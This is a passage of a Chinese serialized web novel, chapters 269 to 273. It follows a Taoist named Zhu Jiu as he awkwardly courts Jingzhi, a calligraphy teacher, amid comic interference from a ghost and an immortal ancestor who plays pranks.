笔突然被抽掉,静之轻轻把她往后推,让她靠在墙上坐着,“看吧,我都说了,麻药劲儿没那么快退的,要完全恢复,怎么也要半天吧。” 找到头的少少把头安上去转了转,随意扯了把椅子坐在二人面前。 她把豆豆曲着的腿拉出来放到她腿上轻轻揉着,给她舒筋活血,边说: “你要是不想睡,姐姐唱歌给你听呀?” 改作业的静之好奇抬头,“你还会唱歌?” “哈!不就是唱歌吗?” 少少清了清嗓子,“咳咳嗯。” “你又瘦来阿拉拉呢~我又咕噜噜呢胖~” “龙胯搭在啊啦啦呢~凤胯咕噜噜呢上~” “人家问我啊啦啦呢哪样事儿~” “我请小妹吃咕噜噜呢~大~冰~棒~” 朱九哐的一声,猛的关上了窗户。 “污言秽语!!!” 不行,那厉鬼这副德行肯定会带坏别人,还是给她关起来好。 朱九下楼了…… 静之默默捂住耳朵,“好少少,自己人来着,千万别开腔!” 豆豆一脸我就知道的表情,搁在少少腿上的脚忍不住踹了踹她的腰,“收声啦!” 少少:“难道不好听吗?” 静之:“隔行如隔山,我只能说,这很难评。” 少少一把将静之扑倒在飘窗上,“我也要掐死你!还说是我以前的好闺蜜,居然说我唱得不好听!” 静之:“我可没这么说。” 少少:“你就是这个意思!” 朱九还未爬上三楼,就能听到三个姑娘嘻嘻哈哈的笑声。 少少笑得猖狂,静之则是无奈中笑带着求饶声。 “好少少,别这样,哈哈哈,快下去!今晚作业要改不完啦,哈哈哈!明天还要上班,求你了!” “豆豆你也坏蛋!摁住我手干什么?!你们合起来欺负我!哈哈!别挠!!!” “嘭!!!” 房门被猛的一脚踹开。 朱九铁青着脸,跟抓奸的绿帽丈夫似的站在门口。 屋里打闹的三人僵在飘窗上。 豆豆默默放开静之的手,又靠回墙上,装起了虚弱。 静之默默的把睡裙往下扯,却没想到裙子被少少压住了,她扯不动。 她只能并紧腿讪笑一声,微微抬头打个招呼,“二叔?您怎么过来了?是不是我们太吵闹了?” 看着骑在静之身上,握住她的细腰的少少,朱九气不打一处来,从身后拿出个瓮,对准少少。 “诶诶诶!!!道长我错了,我不唱了,别别别!!!!!” 第269章 情绪波动个不停的朱九 这回被强行收回去,少少觉得头皮都快被吸走了,感觉属实不妙。 她放弃抵抗,老老实实被收进瓮里待着。 身上的重量一消失,静之立马坐直身子,整理好衣服,朝朱九尴尬一笑,“抱歉,打扰到你了,以后我会记得关窗户的。” “你……把少少放这儿就行。” 朱九侧过身子,声音低沉。 “我带她回去,她在这儿总归对你们两个没好处。” “我真不唱了大哥,求你了。”少少闷闷的声音自瓮中传来。 朱九不为所动,严肃的朝静之点点头,抱着瓮就出去了。 豆豆刚想上前,就被静之一胳膊挡住。 “算了,二叔是个好人,他不会对她怎么的。” 她的房门还没关,走到楼梯口的朱九脚步一停,只觉得这句话她是故意说给他听的。 不会对这个厉鬼怎么样? 哼,他可以对她下个禁言咒。 …… 少少离开这边别墅后,仿佛也把那股热闹一同带走了。 豆豆既然能走动了,天色已晚,她选择先去洗个澡。 静之依旧当她的牛马,勤勤恳恳的批改作业,只是时不时朝浴室叫一句: “豆豆?还好吗?” “静之姐~~”姐字拖得老长,声音里透着一股无奈,“你都叫八百回啦,我真的没问题的,而且我在泡澡,都没站着呢。” 静之笔尖微顿,又抬起头嘱咐一句: “别泡太久哦,很晚了,该睡觉了。” 豆豆:“好好好~” 对面的朱九房间,灯早已经关了。 从静之这边看过去,乌漆麻黑的,她料想他应该已经睡了。 殊不知他此时正静静的侧躺在床上,脸朝窗外,就看着对面飘窗上露出的专注侧颜。 暖黄色的灯光打在她脸上,让她的脸部线条显得更加柔和。 随着手中纸张的更换,她时而点头微笑,时而蹙眉握笔写着什么。 都说认真做事的人最迷人,静之批了一个多小时,朱九也看了一个多小时,仿佛忘了时间的流逝。 直到豆豆出来,他才挪开眼神,把身体转正。 转正后他这才意识到他关着灯呢,她们是看不到他的。 他闭上眼放缓呼吸准备睡觉。 在听到隔壁传来说话声时,他忍不住微微侧过脸眺望…… 豆豆来到静之对面坐着。 这会儿她的行动差不多跟以前一样了,就是有些慢,静之放下心,收回眼神接着批改。 豆豆又尝试了一次握笔,也许是泡澡促进血液循环,这回她不抖了。 于是她拉过去一叠静之未改完的宣纸看了起来。 时间一点一滴过去,很快,房间内的闹铃又响了一次。 静之摸着酸痛的脖子看了看闹钟。 十一点半。 “就剩一点儿了,你去睡吧,我可以的。”她对豆豆讲。 豆豆这回也不托大,她放下笔转动了几下手腕,看着对面的静之发呆。 目光不知怎的,就落到小几上的镇纸上。 她将镇纸上的雕刻掉了个头朝向自己,看清上头雕刻时,她一脸惊讶。 “静之姐,你这是……” 静之抬起头,望着镇纸的表情充满了怀念,她柔柔的笑了一下,“你发现啦?这是我爱人送给我的礼物。” “你爱人?” 豆豆的余光不由自主的瞥一眼隔壁窗台,她是不是发现了什么秘密? 爱人? 朱九放在腿上的手突然攥紧,果然……是对她前男友还有情吧。 “是的,他是个严肃的人,但是对我却贴心的很,他能为我做到这份儿上,我其实已经很满足了。” “……是吗?” 豆豆摸着下巴,回忆着二叔的形象。 好像是挺严肃的,既然是爱人,又为什么要分开睡呢? 豆豆靠过来,朝静之挑了挑眉毛,小声问:“欸,你们怎么不睡在一起啊,吵架啦?” 静之看了她一眼,旋即垂下眸子,将镇纸转回来,轻轻抚着她面前的道士小雕像,扯了扯嘴角。 “没吵架,在一起后,我们从未吵过架,他对我很好,一直都迁就着我,支持我做我想做的事情。” “是我没本事,没能好好护住他。” 豆豆赶紧下了飘窗, 跑到床头柜旁抽了几张纸过来递给她。 “你……我,对不起,我不该问的。”虽然她不明白静之说的啥,但把她问哭了,这是豆豆万万没想到的。 …… 朱九眼神好得很。 他就这般看着自她眼里流出来的晶莹泪水滴在桌面上。 若是不曾深爱过,谈到前男友的时候,又怎么会哭呢? 朱九,你该醒醒了,她还爱着他呢。 静之接过纸率先擦去宣纸上晕开的泪,她调笑着说: “没事,人都死了,没什么不能说的,倒是致远这张字被我的眼泪晕开了,你可别告状,他要是问起来,你就说我睡觉流口水了,不然多丢脸啊,哈哈。” 豆豆顿了一下,谁死了?二叔死了? 她怎么越听越迷糊呢。 豆豆俯下身子,搂住静之的肩膀轻轻拍了拍,“别笑了,你笑得很难看。” “想哭的话,你就哭出来吧。” “小丫头片子,轮不到你来安慰我,我看得很开。” 静之侧过头,看了一眼那个面朝墙躺着的身影,轻声接着说: “人嘛,总是要向前看的。” 朱九倏然睁眼,看向那扇白色的门。 向前看吗? 那她…会不会给他个机会,让他追求她呢? 第270章 交替脸红 累了一天,静之批完作业,跟豆豆睡觉去了。 她这边的灯关了,对面的灯却亮了起来。 朱九打开衣柜,不停翻找着什么。 看了半天,都是老式练功服褂子,灰色的,棕色的,黑色的,都是些成熟稳重的颜色,也难怪她老是对他用敬语呢。 以前他专注修道跟锻体,基本上都是怎么宽松怎么来,怎么舒服怎么穿。 如今他看哪套都不顺眼。 一想起她明早就要过来吃早饭,朱九的心就一通乱跳。 朱九掏出手机,抿了抿嘴,打开浏览器,认真打字: 【追求喜欢的女人,应该如何着装】 朱九看了半天网友的回答,两道浓眉皱得都快拧到一起去了。 这年头上网的,都是些什么牛鬼蛇神? 网友1:穿她喜欢的裙子,让她无路可走! 网友2:穿迪迦套装吧,毕竟,谁不相信光呢? 网友3:能问出这个问题的人,说明题主一定是连女人都没碰过的童子鸡,哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈! 朱九闭上眼,那一大长串的哈,属实是吵到他眼睛了。 童子鸡又怎么样,童子鸡吃你家大米了? 童子鸡也有追求女人的权利! 好在网上还是有靠谱的人在的。 网友n:你仔细观察她平时的穿衣风格,就可以看出她是什么样的人,然后你再根据她的性格,去选衣服。 ps:但是这样做有个缺点,你会因为迎合她而失去自己的个人特色,如果对方也喜欢你的话,你保持原样就好,切记不要捡了芝麻丢西瓜啊。 静之喜欢他? 如果是真的就好了。 朱九看这条评论看得面红耳赤,他捏熄手机,脑子里默默回想着静之平时的穿着。 上班的时候,她总是穿衬衣跟西装裤,甚至还戴了眼镜,很正式,没太大参考价值。 在家的时候,小猫小狗的可爱拖鞋,见过两次的浅灰色缎面吊带睡裙,看电影时穿的小碎花连衣裙,这……完全不是一个风格啊。 可爱的,性感的,小清新的,她都占全了,那他…该怎么穿? …… “叮铃铃铃!!” 急促的闹铃响起。 一只素白的手从被子里伸出来,率先捂住旁边豆豆的耳朵。 静之抬起上半身用左手摁掉闹钟坐了起来。 “静之姐……”豆豆睡眼朦胧呢喃一声。 早上有些凉,她帮豆豆掖了掖被角说:“你再睡会儿,才七点呢,等会你自己去隔壁吃早饭哦,二叔会给你留饭的。” “嗯…zzzzz…” 看她又睡过去了,静之轻手轻脚下床,换好衣服,洗漱完后,她拿着包和袋子,回到了一号别墅。 此时阿祥跟朱八瞪大了眼看着面前的朱九,仿佛见到了什么不可思议的事儿。 “二叔…你……” 相比阿祥的欲言又止,朱八就直接多了。 “二哥……你是不是被鬼附身了?是的话你就眨眨眼!” 朱九本想一巴掌抽过去,在看到那位穿衬衣的女士走进来时,他暗自挺了挺本就绷得很直的腰。 “二叔早!” “三叔早,阿祥早!” 静之把东西放在客厅沙发上,打了声招呼走过来。 朱九矜持的压低嗓子,“早。” 如往常一般,静之坐在他对面,一坐下来,她的视线才聚焦到朱九身上。 看清他的改变时,静之眸光微顿,愣了一下,才笑着说: “二叔您今天穿得倒是挺正式的,今天要出门?” 一身黑色的中山装被熨烫得笔挺,头发打上摩丝,往后梳得整整齐齐,骨节分明的大拇指上带了个翠绿扳指。 加上他不苟言笑的容颜,整个人像是要参加人民代表大会的人大代表一样。 对上她含笑的眼神,朱九突的偷偷红了耳朵。 “……没什么。” 他掰不出什么瞎话,又不好意思直接问她好不好看,只能在进食间用余光瞄两眼静之的反应。 她的表情没什么变化,一直淡淡笑着。 朱九摸不准她的想法,于是只能闭嘴喝豆浆。 唉,追求人这门功课,他还得好好学。 “二哥,你不热啊?”朱八啃一口油条,忍不住问了一嘴。 刚问完,朱九擦得锃亮的皮鞋就狠狠踩在他拖鞋上面。 怎么什么时候他话都这么多,朱九暗暗瞪了他一眼,刚想瞄一眼静之,却见她站了起来,拿了个馒头叼嘴里就快步走向门口。 “我先走啦!今天周一,我怕路上堵车,你们慢慢吃。” 追女孩第一招,急她所急。 朱九站了起来,拿了玄关处早就备好的车钥匙跟了出去。 “我……我也要出去,咱们顺路,我送你。” “啾啾。” 门口不知何时停着的商务车,车灯突然亮了亮。 静之有些迟疑的拿下嘴里的馒头,边嚼边问:“二叔您会开车?” 朱九给她打开副驾驶的门,一言不发,站在门边等着她上车。 他咋了这是? 一大早怎么变得如此奇怪? 不过快八点了,今天可是工作日第一天,她可不想迟到。 静之上了车,忍不住挪了挪屁股。 想不到外头看着不显山露水,里头车饰低调中尽显奢华,这符合人工力学的椅子她一坐上就舒服得长舒一口气。 爽! 不知道二叔愿不愿意把这车借她开开? “嘭。” 朱九坐进驾驶座,扣上安全带。 车辆行驶中,他依旧一言不发。 诡异的气氛中透露出一点尴尬。 静之忍不住问:“早上不是有师傅要来装监控那些吗?快八点半了。” 紧绷的朱九终于松了口气。 i人i久了,实在不知道该如何挑起一个话题,由她先开口可真是太好了。 “我跟三弟讲了,等会他会处理。” “哦。” 车辆驶出别墅区,静之的眼睛从窗外的风景,忍不住挪到他握着方向盘的手上。 由于手微微上抬,他的手背青筋开始凸显,偏偏这辈子他皮肤较白,加上他纤长的手指,这画面莫名透露出一股色气。 静之看得简直挪不开眼。 也幸亏她挪不开眼,因为朱九已经因为她灼热的视线彻底红温。 朱九暗自庆幸,得亏他车玻璃上都贴了防热防窥的膜,光线较暗,不然他可就要丢脸了。 还没庆幸完,静之突然抬高视线看向后视镜,“二叔你没事吧?脸怎么这么红?” “……” 唉,忘了还有后视镜这回事。 朱九强装镇定,“没事,车里有些闷。” 静之看了看手表,“才八点半,还有时间,要不你停到路边,把外套脱了吧。” 脱,脱外套?? “你,你想……?不是…我是说…这样不太好。” “!?” 脱个外套而已,有什么不行的呢? “没事儿,你别给自己闷出病来了。”她敲了敲手腕上的智能表,“您看,这表显示现在32度,您可别中暑了。” 朱九轻踩刹车,终是在天桥底下停了下来。 车内因为外头的阴影,显得更加昏暗。 随着咔嗒一声轻响,朱九微微往前坐起,开始解身上的扣子。 静之避嫌的往窗外看去,视线却没有落在外头的行人身上,反而默默集中在玻璃中他的倒影上。 窸窸窣窣的声音响起,朱九捏着外套渐渐靠了过来,檀香味渐浓,望着窗户上逐渐放大的他酷酷的脸,她表上的心跳开始缓步上升。 她不自觉的往车门上靠了靠,脸几乎都快贴到玻璃上了。 朱九眼神一暗,将衣服从中间的座位缝隙,往后面的座位上一扔,又坐了回去。 呼!吓死她了。 她还以为他要做什么呢。 表上的数字堪堪停在89,又开始缓慢下降。 窗外的风景开始移动,静之把头转向正面。 当看到他修身的白色衬衣时,手表突然“滴”的一声,在安静的车厢内突兀的响起。 他面上是藏不住的喜悦。 而她,一脸慌乱的将手连同手臂压在背后,“那,那什么,没事,你突然启动,吓我一跳。” “嗯。” 朱九好心情的附和一声。 真的是吓一跳吗? 吓一跳的话,应该是脸色发白,而不是脸色发红吧? 看来,他好像懂了一点她喜欢的点。 她喜欢他穿衬衣。 第271章 加条鱼 其实静之心跳加速的原因,不止有他酷帅得像个霸道总裁,更是因为此时正开车的朱九,像极了彼时的林风。 有那么一瞬间,她都以为她逃出去镜子外头了。 以免自己不争气的哭出来,她咬紧牙根忍住回头的冲动,硬是没有再看他一眼。 朱九透过后视镜,不时查看她的侧脸,却再也引不来她的回眸了。 是他年纪大了,她不喜欢吗? 朱九紧了紧手上的方向盘,暗暗深呼吸一口气。 没事的,才刚开始。 朱九,别吓自己。 …… “到了,我先进去了。” 静之笑着朝给她送到门口的朱九挥了挥手。 朱九僵着手,学着她的样子,也朝她挥了挥,一声“再见。”终是慢了半拍,在门外低低响起。 他可真是嘴笨。 朱八跟阿祥平时对那些女人,情话一套一套的,怎么轮到他了,他却是连句告别都说得一卡一顿的? 朱九回到车上,侧头看着她走上二楼。 在她往楼下看了一眼以后,朱九才慌慌张张的启动车辆,将车开走。 没办法,说了顺路,一直停在这里,谎言就被戳穿了。 …… “叮咚~” 致远停下笔,指向静之的口袋,“老师你手机响了。” “别管它。” 静之手摁在黑板上,指甲有规律的敲击着上面贴的宣纸,朝致远抬了抬下巴,“你写你的。” 致远刚刚明明听到下课铃响了,但他胆儿小,又不敢在同学面前回头,于是只能捏紧被他手汗打湿了的笔杆儿继续写着。 一开始她只叫人家写一个字,后来渐渐增量了。 三个字,五个字,一句诗。 还得控制每个字的大小跟间距。 今天还拖堂了。 静之在魔鬼教师的道路上一去不复返。 “老师……我写完了,你还是看吧,再不看又该上课了。” 静之的姿势从撑着黑板改成撑着讲台,“呦,还管上我了,你看你,不仅书法有进步,胆子还练大了呢。” 致远怼不过这个女人,只能闭嘴,低着头避开大家的目光回了座位。 静之走到窗户边上朝下看了看。 他还真走了。 哒哒哒敲击窗沿的手指突然停下,她回头看了一眼休息的同学们,转了个身,腰后靠着窗框,把口袋里的手机掏出来确认。 【aaa他今天怎么了:中午别出去吃,黄姨说你最近累,要炖汤给你补补,我等会办完事,顺路给你带饭。】 呦,这么好啊,那她可真是盛情难却。 静之喜滋滋的低头打字。 “叮咚~” 坐在三楼客厅的朱九一听到短信提示音,立马掏出手机。 【a静:?(????????)??????非常感谢黄姨,麻烦帮我跟她说声谢谢![双手合十][双手合十][玫瑰][玫瑰]】 感谢黄姨,她怎么不感谢感谢他? “叮咚~” 又一条短信进来。 还是她的,朱九抿着嘴点开一看。 【a静:(=^???^=)黄姨做的红烧鱼很好吃,能麻烦她煎条鱼不?】 ……哼!还以为是发来感谢他的。 大馋猫。 心里如此忿忿,手指却不听使唤的回复她。 【aaa他今天怎么了:好的,这是黄姨电话******,你下次自己跟她说吧。】 朱九找了半天颜文字,才找到一个合适自己目前心情,又不会太过分的表情,添加在最后面。 于是短信变成了这样: 【aaa他今天怎么了:好的,这是黄姨电话******,你下次自己跟她说。(⊙_☉)】 那俩眼睛是有些呆,但他认为那横向的嘴部线条恰如其分的表达了现在无语,又有点不爽的心情。 静之感受到了,她的指尖轻轻摸着屏幕上的小小表情,忍不住“噗嗤”一笑。 哎呦,严肃的二叔居然也会学她发小表情啊,真是可爱~ 不过是该跟他说声谢谢的。 “叮——” 刚打两个字的静之猛的抬头,啧,该上课了。 她摁灭屏幕,将手机揣回裤兜里,走到讲台上拍了拍手。 “来来来,刚刚小 火车开到谁了,哦对了,致远后面的同学,到你了,上来上来!” …… 朱九紧盯手机。 久久不见静之发来短信,他坐直了的身体轻轻靠回椅背上。 却不曾想,压到了一只手。 朱九背部肌肉一绷,浑身汗毛都竖了起来。 没有呼吸,没有脚步声,没有阴气,他后头到底是个啥? 朱九弹射起步,转过身,双手交叉向前,摆出战斗的姿态。 他面前的那个男人慵懒的收回左手轻轻吹了吹,浅褐色的双眸仿佛有金光闪过。 他容颜艳丽却又不失庄严,语气却和他的笑容一样轻佻。 【呦,小朱九,你还想跟我打啊?】 听到这个男人的声音,朱九突然放下手,对他低下头颅。 “祖师爷。” 就算你是祖师爷,偷窥也是可耻的。 就算我打不过你,但偷窥依旧是可耻的。 朱鹤,远古朱雀分支的血脉遗孤,早年死而复生,得天道相助,激活了身上的朱雀之力,因而成了朱家唯一一位得道成仙的大能。 他不愿去天界报到,是宁愿留在人间逍遥自在的一朵大奇葩。 此时这朵奇葩一个转身窝进沙发里,朝朱九笑得跟妖孽一样。 【小九啊,我是听得到你的心里话的,我这可不算偷窥,你这别墅里头发生的任何事,我都知道。】 “……” 那刚刚他对静之说的蹩脚谎言,祖师爷也看到了? 朱九面红耳赤。 祖师爷轻笑了一声,身上橘红交错的衣袍一掀,优雅的翘起二郎腿,悠悠说道: 【我说过了,我是支持你跟她在一起的,你不用害羞,毕竟恰当的谎言,有时候也能起到意想不到的作用。】 朱九的小心思在他面前,无所遁形。 他臊着一张脸,将手机揣进裤兜里,明里暗里撵人,不,撵神。 “我要下楼去了,楼下有您说的两个朽木,您在这儿歇息吧。” 朱鹤看着朱九下楼的背影,突然嘴角一勾,抛出一句爆炸性的话。 【小九啊,做的时候不要带套,咱们朱家传宗接代全靠你了。】 猫老能生了,有时候一窝能下四五个崽。 林风神君不在这儿,他调笑一句,应该没什么吧? 下楼的朱九差点一脚踏空,直接从楼梯上滚下去。 他瞪大双眼,看着倚在三楼栏杆处混不吝的祖师爷,臊得脸红脖子粗。 “您,您还是回去吧!” 打又打不过,说又说不得! 而且生不生,生几个,他都会尊重她的意思。 不是,怎么说到这个了? 朱九突然回过神。 他是不是被祖师爷戏弄了?! 朱九定睛一看。 果然,祖师爷眼里全是恶劣的戏谑。 朱九的脸瞬间拉得老长,竟敢对朱鹤哼一声,甩脸走人。 【呦,还挺有脾气。】 …… 朱九觉得自己飘了。 八字还没一撇的事,他竟然被祖师爷一句话诱得幻想起了他跟她的以后。 “黄姨,加条红烧鱼,做好了及时叫我,不然凉了发腥。” 算了,先顾好眼前的事儿吧,还不知道她愿不愿意跟他在一起呢。 第272章 摸手犹如摸电门 出门时,朱九特意检查了手里的保温袋。 果然,他那个爱捉弄人的祖师爷在保温袋里放了几个套套,还都是破了一个洞的。 朱九红着脸将这几个套套掏出来,用力甩进驾驶座车门的侧抽屉里,忍不住低声咒骂: “为老不尊!” 朱鹤传音入密。 【九啊,你现在还没出别墅门口呢,我还是能听得见的。】 他突然轻笑了几声,又开始口出狂言了。 【而且我哪里老了,我看起来比你年轻,也比你长得好,你要是追不到她的话,我追一下也不是不行……哎呦!我错了我错了!别劈我!!!】 朱九朝车窗外看去,几道天雷在晴空中突然出现,极有目的性的劈向别墅左侧后方。 那里正是他家神像摆放的位置。 朱九本想回去,但看那暗含天道之力的雷,他又死了这条心。 算了,祖师爷都已成仙了,劈一下跟挠痒痒似的。 他可不一样,他是个人,劈一下不死也要脱层皮。 朱九看了一下仪表盘旁边,液晶显示器右上角的时间——11点40分。 还有20分钟她就下课了,应该来得及。 …… 翰墨书法班一楼。 敏姨看着眼前这个穿着衬衣,犹如领导一般的人物,礼貌朝他笑了下。 “请问……您是找人还是报课啊?” “我等人。” 他肃着脸四下张望一番,然后找了个人少又清静的位置坐下。 敏姨拍了拍胸口,差点还以为他是税务局来查账的,这人的压迫力也太强了点吧。 话说他等谁? 难道是新买课的学生家长? 可这种人来过的话,她不至于一点印象也没有呀。 …… 11点55分。 朱九把6个饭盒一一拿出来放好。 两盒米饭,两盒菜,余下两个圆形的保温饭盒,是他交代黄姨特意炖的汤。 整个桌子满满当当。 时间来到了11点59分。 朱九时不时看一眼表,觉得每过一秒,他想见到她的心就多了一分,同时紧张的心情也更上一层楼。 “叮——” 安静的小楼瞬间变得喧哗。 楼上传来许多脚步声,朱九站了起来,走到楼梯口,朝上张望。 从楼上下来的学生,只要一看到朱九,交谈声就不自觉的转小。 “他谁啊?好严肃。” “不知道,没见过。” “难道是新来的老师?” “我可不想给他教,我有点害怕。” 朱九想撤退,但是脚犹如长了根似的,紧紧钉在原地。 他没理这些用异样眼光看他的学生,背着手,昂着头,心里默念着早就想好的台词。 【下课了?累不累?等会多吃点。】 【下课了?累不累?等会多吃点。】 “老师,送给你的!” 一位男同学\/二十几岁的社会人士,红着脸递给刚露头的静之一个礼盒。 她推了回去,“不好意思,我从不收礼,你拿回去吧。” 男同学强行把东西塞进她手里,边三两步挤开人群,跳下楼梯,边说: “不是什么贵重物品,是我自己做的,你就收下吧!” 这会儿正下课,楼梯处人挤人,静之也追不上他,只能目送着他朝门外跑去。 “静之……” 欲言又止的朱九站在楼下,扶着栏杆一角,嘴巴抿成了一条直线。 得,短信里的颜文字可算是具象化了。 她眉眼弯弯,朝他走了过去。 “等很久了吧?不好意思,太麻烦你了。” 朱九看着她的笑脸,心跳乱得不成样子,脑子里一片空白。 他刚刚想的那句话,是什么来着? “……吃饭吧。” 嗐,他可真笨。 朱九强装镇定,越紧张,脸上的表情就越严肃。 他引着她来到位置上坐下。 一见到桌上这么多饭盒,静之有些疑惑的看他一眼,“您也还没吃呢?” 朱九递过去餐具套装,急中生智说: “等会在这附近有个急单,来不及回去吃饭,索性就一起叫黄姨装上了。” “……哦。” 她举着刚刚那个男同学的礼物,看了看周围,发现桌子被饭盒占满了,没个地方可以放的。 朱九朝她伸出手,“给我吧,等会我帮你带回去。” “……也行。” 两人各自打开自己面前的饭盒后,就不约而同的伸手去开那个装鱼的保温盒。 静之手快一步,摁到保温盒上了。 朱九手慢也有手慢的好处,他摁到静之手上了。 朱九:“!!” 触到她肌肤的一瞬间,朱九立马撤回手,转而打开他面前另一保温盒,“莫急。” 静之借着做鬼脸的功夫,缓了缓心神,“嘿,自从你说要给我带饭的时候,我就念着这一口红烧鱼呢,可不得急嘛。” 好家伙,整这出。 要不是朱九缩手的速度太快,她都要怀疑他是故意的了。 朱九来得快,饭菜依旧热气腾腾的,引得旁边其他还在热饭的学生频频侧目。 朱九现在无暇理会他人目光,在外头吃饭,可没什么公筷之分。 趁着他还没动筷,朱九给静之挑了好几次鱼肉夹她饭盒里。 低头炫饭的静之,看到又出现在她鼻子下方的金属筷时,她快嚼两下,咽下嘴里的饭跟他说: “您也吃呀,不用一直给我夹。” 在家里都没这么客气,他在外头怎么还这般客气上了呢? 静之这小表情好懂得很,朱九突然无语。 她这链子掉得可真不是时候,怎么就不会往他喜欢她这方面想想呢? 静之边吃边看表。 一点半上课。 朱九不知道为啥,今天的吃饭速度比蜗牛还慢,现在快一点了,他才吃了一半的饭。 “二叔,你那客户不是挺急的吗?你不吃快点?” 小没良心的,他给她带饭,她还开始赶他了? 朱九抿一口温掉的汤,说:“这就饱了,吃饭急不得。” “二叔,那东西,要带回去也行,要丢掉也行,您看着办。”她说。 好心人朱九在静之感恩的目光中,噎挺着一口气,拎着保温盒和那位男同学送的礼物回了车上。 朱九坐在驾驶座上扶着脑门缓了好一会儿,才启动车辆往隔壁街驶去。 又掉链子,又缺心眼的小猫可真难追啊。 朱九就近找了个停车场,停好车后,目光忍不住看向旁边座位上的精致长条形粉色礼盒。 这东西,让他看着办? 那他肯定是选择丢掉了。 不过丢掉前,他还得先做一件事。 朱九粗暴的拆开它外头精致的包装,掀开盒子一看。 一根毛笔加一张情书。 哼!亲手做的毛笔又怎么样,她又不要。 林九拿起那封叠得花里胡哨的情书展开一看。 通篇油嘴滑舌,错字连篇,写字也没有她好看。 他找了个垃圾桶,连笔带信,一起丢了。 “她才不会喜欢你。” 朱九有些嫌弃的拿出湿纸巾蹭了蹭拿过情书的手指。 那张纸不知是自带香味,还是那小年轻故意喷的香水,朱九只觉得自己的手指头被那股劣质香味玷污了。 不过这小年轻的细心程度,他倒是可以好好参考参考。 “叮咚~” 车窗降下,湿纸巾被捏成一团直接抛进三米开外的垃圾桶里。 朱九收回视线快速掏出手机一看。 【a静:那个……你好像有东西落我这儿了。附图:放在她手心未拆封的避孕套一枚。】 朱九血液冲顶,眼睛死死盯着那张照片。 不是,他没完全掏出来吗??? 还是这玩意儿被压在保温盒下面他没发现? 朱九简直尬得想死。 “叮咚~” 他抖着手指点开一看,想死的心又强烈几分。 【a静:虽然我不好这么直接问您,但我实在忍不住。 您……中午是出来见女朋友的?】 他倒是想回答是,但她这一看就是误会他有其他女人了。 朱九恨不得现在就回去跟朱鹤干一架,还说支持他跟她在一起,这不是扯他后腿呢吗?! 朱九抹了一把脸,看了半天那条短信,输入半天,只发出去五个字。 【aaa六块腹肌男菩萨:那不是我的。】 静之捏着手机 ,微微挑起眉头。 也是。 就凭他那摸个小手,就跟摸了电门一样的反应,这东西,怎么也不能是他的吧…… 静之突然眯眼看着那小方包装中间漏着的小洞,吐槽一句: “谁呀?整这么缺德,一点都不尊重女性,辣鸡!” 第273章 反常的她 傍晚的时候,朱九不出意外的出现在书法班门口。 因为那张照片的事,他的话变得更少了。 “上车。” 静之看着那打开的副驾驶车门,其实心里有过一瞬间的怀疑。 他……该不会是在追她吧? 哪有从早到晚都这么凑巧的嘛。 但是一看到他那张越来越严肃的脸,她又觉得不太像。 或许他是真有事吧。 静之上了车,笑着跟他寒暄一句: “您中午那个客户怎么样啊?” 车子微微一顿,然后又逐渐提速朝前开去。 朱九:“解决了。” 他可真酷,话越少越酷。 “哦。” “那个……” 朱九抢先说一句:“你那学生的礼物我给你丢了,上课就该好好上课,别让他分心。” 静之不甚在意的点头,她更关注另外一件事。 但是短信问就算了,直接问这事儿也太尬了,于是一双美眸时不时打量车上,妄图寻找到一丝其他女人的蛛丝马迹。 突然,她轻轻吸了吸鼻子。 咦~ 这空气中残留的一点香气,闻起来让她头脑有些发胀。 还真有其他女人上他车了? 早就从后视镜暗中观察静之的朱九一看到她吸鼻子,就知道事情要糟。 “那礼物里有张信,是信纸上的味道。” 他赶紧解释,这时候可不能不长嘴。 静之刚沉下去的脸色被他一句话说得恢复了以往的明媚。 她左手的手肘撑到车窗上,暗暗舒了一口气,调笑着说: “丢就丢了呗,您还打开看啦?都写的什么?” 朱九心里咯噔一下,她会介意他拆她礼物吗? 他斟酌语句,慎重回复她: “他对你有不切实际的幻想,这年头外面坏人多得很,你要注意分辨。” 静之:“知道啦~不过……喜欢我就是不切实际的幻想吗?那还蛮多人幻想的。” 现代人大胆的很。 其实第一天来上课的时候,她就收到礼物了,这才来几天,她已经陆陆续续收到好几个礼物。 一开始她还会秉持着对方心意不容轻视的念头,打开看一眼,后来发现由她打开的这个动作,被那些男男女女看到的话,就会被他们认为,她也有意。 慢慢的,她就不想拆了。 另外一边,朱九听到这句话,心中警铃狂响。 蛮多人? 课上很多人跟她告白了? “静之,我……我最近没什么事,练练书法也好,请问怎么报你的课?” 朱九为自己的急智暗叫了声好。 他要亲自消灭这些潜在的情敌。 而且去上课的话,就能一起送她上下班了,待在一起的时间变多了,万一她就对他日久生情了呢? 朱九强压住要上翘的嘴角,认真的看了她一眼。 却发现她略显惊讶,微张着嘴。 “您不是写得挺好的吗?那个静字,写得有形有意的。” 朱九收回眼神,直视前方的柏油路,无中生友: “那……不是我写的,是朋友送的。” “……哦?”静之半信半疑,“你下次出去,直接去我们楼下的前台买课就行。” “明白了。” 朱九暗暗握紧方向盘,明天他就去买。 …… 车缓缓停入别墅院子里。 车前的空地上凭空出现了一个被电得焦黑的半透明身影。 还未下车的两人直接惊在座位上。 “二,二叔,今天下雨了吗?还有,这是大白天的见鬼了吗?” 朱九没空理她,因为他家祖师爷,此时正用着传音入密朝他一顿输出。 【小九啊,收了神通吧,就算我是神仙,也经不住天雷劈一整天啊,我的法衣都快碎成渣了。】 朱九张了张嘴,刚想说话,朱鹤眸子一紧,赶紧打断他。 【你心里想就行,我听得到。】 【朱九:……您别乱说话,就不会被天雷收拾。】 【朱鹤:我就说了一句而已,你快上楼看看,他把我的神像都劈成啥样了!】 神像? 那个神像,他们朱家已经祭拜了一百多年了,可不能出事。 朱 九立马解了安全带,转头朝静之说: “你先把东西放回去,等会早点过来吃饭,我有点事先走一步。” 说完,快速下车,三步并做两步朝入户门奔进去。 那道身影在朱九进入房子后,一转眼就消失不见了。 静之刚下车,还未走到隔壁,识海里金童的一句话,直接让她震在原地。 【金童:静之姐姐,我感受到神君的气息啦!】 静之两眼在刹那间蓄满泪水,喉咙跟着一阵哽咽,“在,在哪儿?” 这么多年了,也不知道他怎么样了? 深埋在心底多年的思念之情,在这一瞬间喷涌而出。 【金童:你往别墅左侧后方看。】 那个位置,一片焦黑,跟被火烤了似的。 然而,并无他的踪影。 静之立刻皱起眉头。 【你是不是骗我?】 金童在她识海里悄悄吐了吐舌头,早知道它就不说话了。 【说话?!他来了吗??】 静之紧张得手心一片冰凉。 